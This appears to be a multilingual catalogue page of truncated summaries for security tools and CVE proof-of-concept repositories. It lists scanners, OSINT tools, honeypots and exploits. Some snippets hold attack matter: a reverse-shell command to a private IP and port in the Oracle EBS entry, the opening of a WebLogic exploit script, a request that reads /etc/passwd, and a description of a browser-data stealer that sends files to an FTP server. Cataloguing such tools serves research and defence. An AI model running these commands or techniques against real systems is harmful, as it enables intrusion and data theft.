CVE-2008-1613

CVE-2008-1613...

CVE-2015-0568

익스플로잇 CVE-2015-0568에 대한 익스플로잇 링크 codeaurora c0reteam...

CVE-2019-10475

CVE-2019-10475 2019-10-23에 보고된 Jenkins CVE-2019-10475 / SECURITY-1490에 대한 빠른 POC입니다. 이 문제는 몇 가지 기본 빌드 메트릭을 생성하는 build-metrics 플러그인 내에 있습니다. 이 플러그인은 Jenkins 사이드바 링크 플러그인과 함께 흔히 사용됩니다. 이는 단순하고 일반적인 반사형 XSS 취약점입니다. 문제는 플러그인이 label 쿼리 매개변수를 제대로 이스케이프하지 못한다는 것입니다. 설정 POC는 Debian 10Buster, Jenkins...

LCSAJdump

LCSAJdump 자동화된 가젯 발견을 위한 범용 그래프 기반 프레임워크 LCSAJdump 는 ROPReturn-Oriented Programming 및 JOPJump-Oriented Programming 가젯을 발견하기 위해 설계된 정적 분석 프레임워크입니다. 기존 스캐너와 달리 LCSAJdump는 그래프 기반 접근 방식을 사용하여 일반적인 선형 도구로는 보이지 않는 취약점을 찾아냅니다...

SharpStrike

SharpStrike SharpStrike는 C으로 작성된 사후 침투 도구로, CIM 또는 WMI를 사용하여 원격 시스템을 쿼리합니다. 제공된 자격 증명 또는 현재 사용자 세션을 사용할 수 있습니다. 참고: 일부 명령은 PowerShell과 WMI를 조합하여 사용하며, --show-commands 명령에서 로 표시됩니다. 소개 SharpStrike는 @MattGrandy의 CIMplant와 @christruncer의 WMImplant를 C으로 다시 작성하고 확장한 것입니다. SharpStrike를 사용하면 원격 시스템의 데이터...

TREVORspray

TREVORspray 2.0 TREVORsprayは、スレッド、SSHプロキシ、略奪モジュールなどを備えたモジュール式パスワードスプレイヤーです！ 作者: @thetechr0mancer インストール: root@kitploit: pip install git+https://github.com/blacklanternsecurity/trevorproxy pip install git+https://github.com/blacklanternsecurity/trevorspray 付属のブログ記事で楽しい解説とクールなデモをご覧ください！ 機能...

sslyze

SSLyze SSLyze는 빠르고 강력한 SSL/TLS 스캐닝 도구이자 Python 라이브러리입니다. SSLyze는 서버에 연결하여 SSL/TLS 구성을 분석함으로써 강력한 암호화 설정인증서, 암호 제품군, 타원 곡선 등을 사용하고 알려진 TLS 공격Heartbleed, ROBOT, OpenSSL CCS 인젝션 등에 취약하지 않은지 확인할 수 있습니다. 주요 기능 속도와 신뢰성에 초점: SSLyze는 매일 수십만 대 의 서버를 안정적으로 스캔하는 데 사용되는 검증된 도구입니다. 운영화 용이: SSLyze는 CI/CD에서 직접...

sslyze

SSLyze SSLyze is a fast and powerful SSL/TLS scanning tool and Python library. SSLyze can analyze the SSL/TLS configuration of a server by connecting to it, in order to ensure that it uses strong encryption settings certificate, cipher suites, elliptic curves, etc., and that it is not vulnerable ...

rengine

reNgine: The Ultimate Web Reconnaissance & Vulnerability Scanner 🚀 reNgine 2.2.0 is released! reNgine 2.2.0 comes with bounty hub where you can sync and import your hackerone programs, in app notifications, chaos as subdomain enumeration tool, ability to upload multiple nuclei and gf patterns,...

rengine

reNgine: лучший инструмент для веб-разведки и сканирования уязвимостей 🚀 Вышла reNgine 2.2.0! reNgine 2.2.0 включает Bounty Hub, где можно синхронизировать и импортировать программы HackerOne, уведомления в приложении, Chaos как инструмент для перечисления поддоменов, возможность загружать...

CVE-2025-28346

취약점 유형 SQL Injection 설명 Ticket-Booking-App - 1.0에서 시간 기반 블라인드 SQL Injection 취약점이 발견되었습니다. 이를 통해 공격자는 기본 데이터베이스에 임의의 SQL 쿼리를 실행할 수 있습니다. 취약한 매개변수는 사용자 입력을 적절히 검증하지 않아, 시간 지연을 통해 취약점 존재를 추론하는 악성 SQL 페이로드 주입이 가능합니다. 일반 SQL 인젝션과 달리 시간 기반 블라인드 SQL 인젝션은 직접 데이터를 반환하지 않습니다. 대신 공격자는 애플리케이션 응답 시간을 통해 인젝션 성...

WS_FTP-CVE-2023-40044

WSFTP-CVE-2023-40044 WSFTP CVE-2023-40044의 영향을 추적하는 모든 것을 포함한 저장소 영향을 받을 가능성이 있는 조직 및 헤더 방법을 사용하는 도메인을 포함합니다. 또한 MOVEit 및 WSFTP에 대한 새로운 기사를 추적하는 뉴스 티커를 구축했으며, https://firehose.kenbuckler.com/moveit 에서 확인할 수 있습니다...

VMware-CVE-2022-22954

VMware CVE-2022-22954 Workspace ONE Access Freemarker 서버 측 템플릿 주입 Vmware CVE-2022-22954용 POC 이 한 줄 GET 요청을 사용하세요!! 이 요청은 cat /etc/passwd를 실행합니다...

log4j2burpscanner

log4j2burpscanner CVE-2021-44228, log4j2 Burp 플러그인 Java 버전, dnslog은 dnslog.cn이 아닌 도메인을 선택했습니다. 효과는 다음과 같습니다: 실습 환경의 실습 환경은 비교적 느리지만 인터넷 자산은 문제가 없습니다. 이유는 실습 환경이 다른 요청 헤더를 잘 처리하지 못하거나 요청 헤더가 너무 커서 실습 환경의 반응이 느려지는 것이므로, 조금 더 기다리시면 됩니다 SRC 사이트 두 곳을 테스트했습니다 로드 후 URL이 제공되며, 접속하면 DNS 기록을 확인할 수 있습니다. 물론...

oss-oopssec-store

OSS - OopsSec Store 실제로 배포하는 앱을 위한 보안 교육. 웹, API, 인증, 비즈니스 로직, 암호학, 공급망, AI 에이전트 및 MCP 전반에 걸친 36개의 챌린지. Next.js, React, TypeScript 및 Prisma 로 구축된 의도적으로 취약한 이커머스 앱을 공략하세요. 버그를 찾고. 익스플로잇하고. 왜 작동하는지 이해하세요. Docker Hub · npm · 로드맵 · 워크스루 · 기여하기 · 초보자용 이슈 bash...

PhEmail

PhEmail PhEmail은 사회 공학 테스트의 일환으로 피싱 이메일 전송 과정을 자동화하는 파이썬 오픈소스 피싱 이메일 도구입니다. PhEmail의 주요 목적은 웹 브라우저나 이메일 클라이언트를 악용하지 않고 최대한 많은 정보를 수집하면서 피싱 이메일을 대량으로 전송하고 누가 클릭했는지 입증하는 것입니다. PhEmail은 정보 수집 단계에서 유용하게 사용할 수 있는 LinkedIN을 통한 이메일 주소 수집 엔진을 제공합니다. 또한 이 도구는 Gmail 인증을 지원하며, 대상 도메인이 발신 이메일이나 IP 주소를 블랙리스트에...

agent-governance-toolkit

🌍 English | 日本語 | 简体中文 | 한국어 Agent Governance Toolkit 에이전트를 프로덕션에 안심하고 배포하세요 🚀빠른 시작 · 📋 명세 · 📦 PyPI · 📝 변경 이력 !IMPORTANT 공개 프리뷰Public Preview — 프로덕션 품질의 Microsoft 서명 릴리즈입니다. GA 이전에 주요 변경이 발생할 수 있습니다. 자율형 AI 에이전트를 위한 정책 적용, 신원증명, 샌드박싱, SRE. pip install 하나로 어떤 프레임워크에서도 사용 가능합니다. 문제 상황 여러분의 AI 에이전트는...

zaproxy

...

zaproxy

Zed Attack Proxy ZAP by Checkmarx는 세계에서 가장 널리 사용되는 웹 애플리케이션 스캐너입니다. 무료이자 오픈 소스입니다. 누구나 기여할 수 있는 커뮤니티 기반 GitHub Top 1000 프로젝트입니다. 애플리케이션을 개발하고 테스트하는 동안 웹 애플리케이션의 보안 취약점을 자동으로 찾는 데 도움을 줍니다. 또한 경험이 풍부한 펜테스터가 수동 보안 테스트를 수행할 때 사용하기에 훌륭한 도구입니다. !https://...

CVE-2024-55040-Sensaphone-XSS

SENSAPHONE 漏洞披露 摘要 2024年9月中旬，我在 Sensaphone Web600 监控系统中识别出多个中低严重性的安全问题，包括系统设置、个人资料和区域选项中的存储型跨站脚本（XSS）漏洞。远程认证攻击者可利用该漏洞在 Web600 仪表板的多个元素中注入任意 JavaScript 载荷。这些问题的严重性有限；然而，它可能允许低权限用户窃取管理员账户的会话令牌，从而有效提升其系统访问权限并进行未授权修改。该漏洞已在 Sensaphone Web600 固件版本 v.1.6.5.H 上测试。10月，Sensaphone...

CVE-2023-6275

CVE-2023-6275 - TOTVS Fluig Plataform 1.6.X - 1.8.1의 반사형 크로스 사이트 스크립팅 TOTVS Fluig 플랫폼은 1.6.1.X에서 1.8.1 버전까지 'mobileredir' 모듈 내 'redirectUrl' 및 'user' 매개변수에서 사이트 간 스크립팅Cross-Site Scripting 취약점이 존재합니다. Fluig는 브라질 최대 기술 기업 TOTVS가 개발하고 고객 서버에 호스팅되는 ERP 시스템과 통합된 생산성 및 협업 플랫폼입니다. 영향 받는 버전: -- Fluig...

CVE-2019-0708-Tool

CVE-2019-0708-도구 별 50개 이후에 도구 공유... 문의...

mIRC-CVE-2019-6453

CVE-2019-6453: mIRC 7.55에서 사용자 정의 URI 프로토콜 핸들러를 통한 인수 삽입으로 인한 RCE 자세한 설명 보기 우리는 irc:// URI 프로토콜 핸들러를 통해 mIRC에서 원격 코드 실행 취약점 을 발견했습니다. mIRC는 인수 목록의 끝을 표시하기 위해 --와 같은 기호를 사용하지 않기 때문에, 공격자는 irc:// 링크를 통해 mIRC에 인수를 전달하고 공격자가 제어하는 Samba 파일 서버에서 사용자 정의 mirc.ini 를 로드하여 임의 코드를 실행할 수 있습니다. ircs://도 동일하게...

CVE-2022-45047

CVE-2022-45047 POC, EXP, 나를 위한 chatGPT 코드 root@kitploit: import requests targeturl = "http://127.0.0.1:7001" CVE-2022-45047 def exploitweblogic: headers = "Content-Type": "text/xml", "User-Agent": "Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:93.0 Gecko/20100101 Firefox/93.0", "Accept-Encoding":...

Pinkerton

🕵️ Pinkerton 1850년부터 JavaScript 파일을 조사 중 Python 프로젝트로, JavaScript 파일을 크롤링하여 API 키, 인증 토큰, 하드코딩된 비밀번호 등 비밀 정보를 검색합니다. ⚡ 시작하기 Pinkerton을 설치하고 사용하는 빠른 가이드입니다. 1. 저장소를 클론합니다: git clone https://github.com/000pp/pinkerton.git 2. 라이브러리를 설치합니다: pip3 install -r requirements.txt --break-system-packages 3...

GitFive

🐍 이제 Python 3.13 호환 ! 설명 GitFive는 GitHub 프로필을 조사하는 OSINT 도구입니다. 주요 기능 : 사용자명 / 이름 기록 사용자명 / 이름 변형 이메일 주소로 GitHub 계정 찾기 이메일 주소 목록에서 GitHub 계정 찾기 대상이 사용한 신원 목록 대상의 모든 저장소 복제 및 분석 대상 GitHub 계정과 연결된 이메일 강조 로컬 식별자UPN, 예: [email protected] 찾기 잠재적인 보조 GitHub 계정 찾기 저장소 없이도 작동 가능하지만 더 좋음 가능한 모든 이메일 주...

nightcrawler

Nightcrawler 스마트폰에서 완전히 실행되는 자율 침투 테스트 에이전트입니다. 네트워크에 폰을 놓아두고 떠나면, 호스트를 발견하고 서비스를 매핑하며 취약점을 찾고 침투 테스트 보고서를 생성합니다 — 클라우드 연결 없이 말이죠. root@kitploit: ░█▄░█ █ █▀▀ █░█ ▀█▀ █▀▀ █▀█ ▄▀█ █░█░█ █░░ █▀▀ █▀█ ░█░▀█ █ █▄█ █▀█ ░█░ █▄▄ █▀▄ █▀█ ▀▄▀▄▀ █▄▄ ██▄ █▀▄ v0.1.0 AUTONOMOUS MOBILE PENTEST AGENT OnePlus 8 ·...

emba

EMBA The security analyzer for firmware of embedded devices EMBA is designed as the central firmware analysis and SBOM tool for penetration testers, product security teams, developers and responsible product managers. It supports the complete security analysis process starting with firmware...

typehub-exploiter

typehub-exploiter GILANG - CVE-2021-25094 익스플로이터 참고 : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ 페이로드 : site.com/wp-admin/admin-ajax.php 버그 경로 : site.com/wp-content/uploads/typehub/custom/ 감사 : Ibnudz, Dark clown security 인사 : Garuda Tersakti 72. Buitenzorg Syndicat...

jwt-key-confusion-poc

JWT 키 혼동 PoC CVE-2015-9235 Hack the Box 챌린지Under Construction 및 Secret를 위해 작성됨 포함된 두 스크립트 모두 Java Web Token 키 혼동 공격CVE-2015-9235을 수행합니다. 공격을 수행하려면 공격자가 서버가 서명을 검증하는 데 사용할 공개 키를 알고 있어야 하며, 서버가 HS256 알고리즘을 사용하도록 구성되어 있어야 합니다. HS256은 대칭 키 알고리즘메시지 서명 및 검증에 동일한 키 사용이므로 공개 키를 사용하여 변조된 토큰에 서명할 수 있습니다. 웹...

CVE-2021-22204

CVE-2021-22204 - Exiftool 원격 코드 실행 설명 최근 연구원 wcbowling이 Exiftool 도구에서 취약점을 발견했습니다. 이 취약점은 악의적인 공격자가 원격 코드 실행 공격을 수행할 수 있도록 합니다. 이 취약점은 GitLab 버그 바운티 프로그램에서 발견되었으며, GitLab은 이 도구를 제품의 종속성으로 사용합니다. 사용법 12번째 줄createFile.sh에 공격자 머신의 IP 주소를 입력하세요. 그런 다음 간단히 실행하세요: $ bash createFile.sh 이렇게 하면 악성 파일...

log4j-scanner-CVE-2021-44228

log4j-scanner CVE-2021-44228 CVE-2021-44228 の試行をディレクトリ全体でスキャンするシンプルなツール フィルターを回避する方法は常に存在します , これは正規表現パターンにも当てはまります。...

CVE-2019-10685

CVE-2019-10685 사용자가 제공한 JavaScript가 포함된 입력값이 "TextField" 매개변수를 통해 HTML 응답의 JavaScript 코드에 그대로 반영됩니다. Exploit-DB 게시: https://www.exploit-db.com/exploits/46804 PacketStorm 게시: https://packetstormsecurity.com/files/152727/Prinect-Archive-System-2015-Release-2.6-Cross-Site-Scripting.html CVE:...

CVE-2026-64564

Debian 13 6.12.95 SCTP ASCONF DEL-IP UAF 개념 증명. root@kitploit: gcc -O2 -static -o lpe lpedebian.6.12.95.c ./lpe...

mastyf.ai

mastyf.ai Периметровая безопасность для вашего ИИ. Принудительное выполнение во время выполнения, контроль политик и полная аудиторская цепочка для каждого действия ИИ. Веб-сайт · Быстрый старт · Политика · Панель управления · GitHub Проблема...

pyrdp

PyRDP PyRDP is a Python Remote Desktop Protocol RDP Monster-in-the-Middle MITM tool and library. It features a few tools: RDP Monster-in-the-Middle Logs plaintext credentials or NetNTLM hashes used when connecting Steals data copied to the clipboard Saves a copy of the files transferred over the...

pyrdp

PyRDP PyRDP は、Python で書かれた Remote Desktop Protocol RDP Monster-in-the-Middle MITM ツールおよびライブラリです。 以下のツールを備えています。 RDP モンスター・イン・ザ・ミドル 接続時に使用される平文の認証情報または NetNTLM ハッシュをログに記録 クリップボードにコピーされたデータを盗み取る ネットワークを介して転送されたファイルのコピーを保存 バックグラウンドで共有ドライブをクロールし、ローカルに保存 接続のリプレイを保存して、後で確認可能 新しい接続時にコンソールコマンドまたは...

Conferences

컨퍼런스 컨퍼런스 발표 슬라이드: BlackHat USA 2025 8월 2-7일 Offensivecon 2025 5월 16-17일 Black Hat Asia 2025 4월 1-4일 Black hat Europe 2024 12월 9-12일 Hexacon 2024 슬라이드 10월 4-5일 Black Hat USA 2024 슬라이드 8월 3-8일 REcon 2024 슬라이드 6월 28-30일 Offensivecon 2024 5월 10-11일 Blackhat Asia 2024 4월 16-19일 Blackhat Asia 2023...

CVE-2021-40444_EXP_JS

このリポジトリには README がありません。...

telegram-phish-simulator

⚠️ 텔레그램 피싱 시뮬레이터 – 교육용 보안 도구 불법 활동에 이 코드를 사용하지 마십시오. 이 저장소는 사이버 보안 교육, 인식 제고, 그리고 승인된 실험실 기반 테스트만을 위해 제작된 시뮬레이션입니다. 📚 목차 소개 구성 내용 안전한 실험실 구성 실행 방법 시뮬레이션된 공격 흐름 방어 지침 윤리적 사용 라이선스 🎯 소개 이 프로젝트는 다음을 목적으로 하는 텔레그램 피싱 시뮬레이션을 시연합니다: 사이버 보안 교육, 피싱 인식 훈련, 방어 연구, 격리된 환경에서의 승인된 침투 테스트. 공격자가 가짜 "무료 프리미엄" 혜택을...

SkyProfile

SkyProfile SkyProfile は、単機または複数の航空機について ADSBexchange のグローバル履歴を照会し、複数レグのフライトを検出し、KML/CSV/JSON/Excel をリッチな分析情報（空港、ルート、時間帯、コールサイン、FAA メタデータ）とともにエクスポートする PyQt5 デスクトップアプリです。 主な機能 ICAO 16進コードによる日付範囲クエリ。ADSBx の基本航空機データベースによる任意の tail/reg（テール番号/機体記号）の検索。 堅牢なレグ（区間）検出（地上 → 空中 →...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 탐지 아티팩트 생성기 자세한 기술 내용은 블로그 포스트를 참조하세요. 탐지 동작 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

spybrowse

BrowseSpy Be sure to change the ftp variables throughout the code, these variables contain the username, password, & IP address of the FTP server which receives the files. This code will do the following: 1. Copy itself into the %TMP% directory & name itself ursakta.exe 2. Add a registry entry to...

spybrowse

BrowseSpy 코드 전체에 있는 ftp 변수를 반드시 변경하세요. 이 변수에는 파일을 수신하는 FTP 서버의 사용자 이름, 비밀번호 및 IP 주소가 포함됩니다. 이 코드는 다음을 수행합니다: 1. 자신을 %TMP% 디렉터리에 복사하고 이름을 ursakta.exe로 변경합니다. 2. 사용자가 로그인할 때마다 실행되도록 레지스트리 항목을 추가합니다. 3. 사용 중인 브라우저Chrome, Firefox 또는 Brave를 확인합니다. 4. Chrome, Firefox 또는 Brave 브라우저 디렉터리 내의 파일을 검색합니다. 5...

shed

Shed - .NETランタイムインスペクタ Shed は、プログラムの .NET ランタイムを検査して有用な情報を抽出できるアプリケーションです。マルウェアが実行された際に保存される情報の概要を最初に把握するために、悪意のあるアプリケーションの検査に使用できます。 Shed は以下のことが可能です： .NET アセンブリをリモートプロセス（マネージドおよびアンマネージドの両方）にインジェクションする マネージドヒープに保存されているすべてのオブジェクトを抽出する メモリに保存されている文字列を出力する 後処理のためにヒープのスナップショットを JSON 形式で保存する...

shed

Shed - .NET runtime inspector Shed is an application that allow to inspect the .NET runtime of a program in order to extract useful information. It can be used to inspect malicious applications in order to have a first general overview of which information are stored once that the malware is...

virustotalx

virustotalx 엔드포인트용 virustotalx IP용 V2 설치 root@kitploit: git clone https://github.com/orwagodfather/virustotalx.git root@kitploit: cd virustotalx https://www.virustotal.com/gui/join-us 에서 계정 3개를 만들고 API 키 3개를 복사하세요 === root@kitploit: nano orwa.sh & root@kitploit: nano orwaV2.sh 여기에 API 키 3개를 붙여넣으세...

build.prop

Pixel Prop Builder: 간소화된 OTA에서 Build.prop 변환 이 강력한 자동화 제품군을 사용하여 Pixel OTA 업데이트에서 시스템 속성을 손쉽게 추출하고 관리하세요. 개발자와 매니아 모두를 위해 설계되었으며, Android 빌드 속성에 접근하고 사용자 정의하는 과정을 간소화합니다. 🚀 빠른 시작 사전 요구 사항 Unix 계열 환경 : Bash가 있는 Linux 또는 macOS. 핵심 유틸리티 : 다음이 설치되어 있는지 확인하세요: dos2unix, aria2, zip, unzip, p7zip, curl...

kippo

참고: 더 최신 개발에 대해서는 Michel Oosterhof의 포크를 확인하세요. Kippo Kippo는 무차별 대입 공격을 기록하고, 가장 중요한 것은 공격자가 수행한 전체 셸 상호작용을 기록하도록 설계된 중간 수준 상호작용 SSH 허니팟입니다. Kippo는 Kojoney에서 영감을 받았지만, 이를 기반으로 하지는 않습니다. 데모 다음은 실제 Kippo 설치에서 얻은 몇 가지 흥미로운 로그입니다Ajaxterm의 도움으로 웹 브라우저에서 볼 수 있습니다. 일부 명령은 이 로그가 기록된 이후로 개선되었을 수 있습니다...

kippo

NOTE: For more recent development, check out Michel Oosterhof's fork Kippo Kippo is a medium interaction SSH honeypot designed to log brute force attacks and, most importantly, the entire shell interaction performed by the attacker. Kippo is inspired, but not based on Kojoney. Demo Some interesti...